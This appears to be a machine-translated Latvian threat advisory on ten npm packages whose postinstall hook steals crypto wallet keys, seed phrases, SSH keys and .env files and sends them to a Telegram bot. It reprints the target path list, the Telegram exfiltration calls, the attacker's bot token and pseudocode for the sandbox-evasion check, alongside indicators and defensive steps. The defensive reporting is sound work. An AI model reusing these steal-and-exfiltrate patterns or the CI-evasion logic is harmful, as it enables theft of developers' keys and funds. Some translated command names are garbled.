TL; DR
2026. gada 9. jūnijā tika izveidots viens npm izdevēja konts, aicrypto-xzggg, nosūtīts desmit iepakojumi ar kripto un Web3 nosaukumiem — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, un vēl sešas.
Katrā pakotnē tiek palaista viena un tā pati lietderīgā slodze no postinstall āķis. Instalēšanas laikā tas pārbauda, vai darbojas CI vai smilškastes vidē — ja nē, tas nolasa maka atslēgu krātuves, sākuma frāzes failus, SSH atslēgas un .env failus no sešām blokķēdes ekosistēmām un pārsūta tos Telegram robotam.
Vienīgais rādītājs, ko aizstāvis var nekavējoties meklēt, ir Telegram robota ID. 8227918239.
Smagums: kritisks — tieša parakstīšanas atslēgu un atkopšanas frāžu zādzība no izstrādātāju darbstacijas.
Uzbrukums: kā tas darbojas
Pakotnes reklamē sevi kā blokķēdes izstrādātāju utilītprogrammas. pack.json ir minimāls un norāda instalēšanas dzīves ciklu uz skriptu:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } skripti/postinstall.js ir vienas rindas starplikas elements, kas ielādē reālo lietderīgo slodzi: require(“../src/index.js”). Tāpēc, ka pēc instalēšanas darbojas automātiski laikā npm instalēt, izstrādātājam nav nepieciešams importēt kodu — pakotnes ievietošana atkarību kokā ir pietiekama, lai to izpildītu.
Nogalināšanas ķēde iekšpusē src/index.js ir četri soļi:
- Vides pārbaude. Aizsardzības funkcija izlemj, vai resursdators izskatās pēc būvēšanas aģenta vai analīzes smilškastes.
- Kavēšanās. Izpilde tiek atlikta aiz setTimeout aptuveni 7.4 sekundes.
- Kolekcija Tiek pārskatīts fiksēts maka, atslēgas un slepeno failu ceļu saraksts; esošie faili tiek ievietoti rindā.
- Eksfiltrācija. Rindā ievietotie faili tiek nosūtīti uz Telegram robotprogrammatūru, pirms tam nosūtot kopsavilkuma ziņojumu.
Kolekcijas mērķu saraksts aptver sešas ķēdes, kā arī vispārīgus izstrādātāja noslēpumus. Apgriezts:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Kopā divdesmit viens ceļš. Kataloga ieraksti, piemēram, ~/.ethereum/keystore tiek izvērsti, un katrs tajos esošais fails tiek ievietots rindā. Izfiltrācija tieši izmanto Telegram Bot API — a sūtīt ziņojumu izsaukums ar resursdatora un faila kopsavilkumu, pēc tam a nosūtīt dokumentu vairāku daļu augšupielāde katram failam:
teksts
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Koda apkopotais kopsavilkuma ziņojums sākas ar literālo virkni KRIPTOGRAMMU ZAGLIS, kam seko resursdatora nosaukums, lietotājvārds, sākotnējās pakotnes nosaukums, failu skaits un laikspiedols.
Kas šeit ir jauns?
Diferenciators nav zādzības mehānisms — Telegram bāzēts exfil no npm pēc instalēšanas hooks ir labi iestaigāta. Tā ir izpildes vārti. Pirms jebkādu darbību veikšanas lietderīgā slodze izsauc funkciju, kas atgriež vērtību “true”, ja resursdators atgādina CI skrējēju vai smilškasti, un atgriež agrāk, ja tas tā ir:
teksts
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Ievērojamā klauzula ir konteinera ID regulārā izteiksme: 12 heksadecimālzīmju resursdatora nosaukums ir noklusējuma forma, ko Docker piešķir konteiners, tāpēc lietderīgā slodze uzskata frāzi “mans resursdatora nosaukums izskatās pēc Docker konteinera” par iemeslu palikt neaktīvam. Apvienojumā ar septiņu sekunžu aizkavi dizains dod priekšroku darbībai izstrādātāja reālajā darbstacijā un klusēšanai jebkur, kur izskatās pēc automatizētas analīzes. Tieši šie vārti apspieda dinamiskās analīzes signālus un saglabāja statisko datu plūsmu kā galveno pārliecināšanas pierādījumu.
Timeline
| Datums (UTC) | notikums |
|---|---|
| 2026-06-09 ~02:48 | Pirmās klastera pakotnes tika atzīmētas publicēšanas laikā (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Augstākas versijas dalībnieki atzīmēti ar karodziņu (ethereum-kit-9 pie 1.25.36, wallet-sdk-9 (3.7.73) |
| 2026-06-09 ~03:58–03:59 | Galīgie dalībnieki atzīmēti ar karodziņu (defi-tools-39 pie 4.26.29, swap-sdk-87 pie 4.63.78, farming-tools-12 (4.68.54) |
| 2026-06-09 | Visi desmit klasificēti kā ļaunprātīgi un ziņoti par reģistra noņemšanu |
Visi desmit parādījās aptuveni septiņdesmit minūšu laikā, kas atbilst vienam scenārija publicēšanas ciklam no viena konta.
Kompromisa rādītāji
Tīkla un uzvedības indikatori (resursdatoram atbrīvots fangs):
| Indikators | Vērtība |
|---|---|
| Exfil galapunkts | api[.]telegram[.]org (Telegram Bot API) |
| Telegram robota ID | 8227918239 |
| Bota žetons | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| Telegram tērzēšanas ID | 6433587894 |
| Uzstādiet āķi | postinstall → scripts/postinstall.js → src/index.js |
| Marķiera aukla | CRYPTO STEALER apkopotajā kopsavilkuma ziņojumā |
| izdevējs | aicrypto-xzggg (norādītā e-pasta adrese vipsyria88@gmail[.]com, nepārbaudīts) |
Pakotnes un versijas, katra ar tās SHA-256 src/index.js lietderīgā slodze (lietderīgās slodzes ir funkcionāli identiskas un atšķiras tikai ar iegulto pakotnes nosaukuma etiķeti, tāpēc katra jaucējkoda ir atšķirīga):
| Pakete | versija | SRC/index.js SHA-256 |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Vienkāršs meklēšanas vaicājums: meklējiet instalēšanas žurnālos un bloķēšanas failos jebkuru no desmit nosaukumiem un meklējiet izejošajā datplūsmā savienojumus ar Telegram Bot API no būvēšanas vai izstrādātāja resursdatoriem, kas to citādi neizmanto.
Atribūcija un novērotā uzvedība
Visas desmit pakotnes publicēja viens konts, aicrypto-xzggg, kura norādītā e-pasta adrese ir vipsyria88@gmail[.]comGan e-pasts, gan avota kontroles saite reģistra metadatos nav verificēta, un kontam ir ļoti negatīvs reputācijas vērtējums. Mēs neesam apstiprinājuši, kas pārvalda kontu.
No jebkura identitātes apgalvojuma ir vērts atdalīt divas detaļas. Pirmkārt, pack.json autors lauka lasījumi Alex Smith katrā pakotnē, savukārt faktiskais publicēšanas konts ir aicrypto-xzggg; autora lauks ir pašdeklarēti metadati un nenorāda autorību. Otrkārt, versiju numuri ir ļoti atšķirīgi — daži dalībnieki atrodas pie 1.0.0, citi plkst. 4.68.54 — kas atbilst vienas vērtuma atkārtotai izmantošanai svaigi izveidotu pakotņu nosaukumos, nevis reālu izlaidumu vēstures saglabāšanai.
Uzvedība visā klasterī ir vienāda: viens un tas pats mērķa ceļu saraksts, viens un tas pats Telegram robota ID un tērzēšanas ID, viens un tas pats vides vārti, viens un tas pats KRIPTOGRAMMU ZAGLIS marķieris. Šī vienveidība ir spēcīgākā saikne starp pakotnēm. Tas ir viena operatora signāls, nevis identitāte.
Ietekme, tendences un norādījumi aizstāvjiem
Atklātība ir konkrēta. Izstrādātājs, kurš instalē jebkuru no šīm pakotnēm darbstacijā, kurā atrodas programmatūras maks, sākuma frāzes fails vai SSH atslēga, šos failus nolasa un pārsūta no resursdatora dažu sekunžu laikā. Atkopšanas frāzes un parakstīšanas atslēgas nebeidzas tāpat kā sesijas marķieris; tiklīdz mnemonisks.txt vai Solana id.json atstājot iekārtu, tās kontrolētie līdzekļi ir pakļauti riskam, līdz tie tiek pārvietoti. Tajā pašā darbībā tiek fiksēts arī .env faili, kuros parasti ir API atslēgas un datubāzes akreditācijas dati.
Šo kopu raksturo divas tendences. Pirmā ir kriptovalūtu un Web3 tematikas nosaukumu nepārtraukta izmantošana, lai piesaistītu noteiktu auditoriju — izstrādātājus, kuri makus un atslēgas glabā tajā pašā datorā, kurā viņi instalē atkarības. Otrā ir smilškastes apiešanas nobriešana instalēšanas laika slodzēs. Vārti, kas pārbauda CI vides mainīgos, izpildītāja lietotājvārdus un Docker konteinera ID resursdatora nosaukuma formu, ir apzināts mēģinājums analīzes laikā uzvesties citādi nekā reālā darbstacijā, un tas paceļ latiņu tīri dinamiskai noteikšanai.
Aizstāvjiem:
Instalēt ar noklusējuma skriptiem atspējotiem. npm instalēšana –ignore-scriptsvai iestatīt ignorēt-skriptus=true in .npmrc, novērš pēc instalēšanas izpilde; iespējojiet skriptus tikai tām konkrētajām atkarībām, kurām tie patiešām ir nepieciešami.
Turiet makus un parakstīšanas atslēgas ārpus izstrādes iekārtām. Izmantojiet aparatūras maku vai speciālu, no atkarībām brīvu parakstīšanas resursdatoru.
Ārstēt .env, atslēgu krātuves un sākuma frāzes failus kā kronis dārgakmeņus. Tiem nekad nevajadzētu atrasties direktorijā, kas ir arī npm instalēt strādājošs koks.
Meklējiet izejošos savienojumus ar Telegram Bot API no CI un izstrādātāju mitināšanas sistēmām. Lielākā daļa būvēšanas vides to nekad neizsauc; tāda, kas to pēkšņi izsauc tūlīt pēc instalēšanas, ir izpētes vērta.
Piespraust un pārskatīt atkarības. Pilnīgi jauna pakotne ar vispārīgu kriptovalūtas nosaukumu, pēc instalēšanas āķis, un neviena repozitorija saite neattaisno apskati, pirms tā nonāk bloķēšanas failā.
Konteinera ID apiešanas klauzula ir arī atgādinājums analītiķiem: instalēšanas laika lietderīgā slodze, kas paliek neaktīva smilškastē, nav nekaitīga, tā ir selektīva. Instalēšanas ceļa statiskā pārskatīšana joprojām ir uzticams veids, kā redzēt, ko dinamiskā izpilde varētu atteikties parādīt.
Atsauces
npm instalēšanas dokumentācija — dzīves cikla skripti un – Ignorēt-skriptus— atsauce automātiskās instalēšanas atspējošanai hooks.





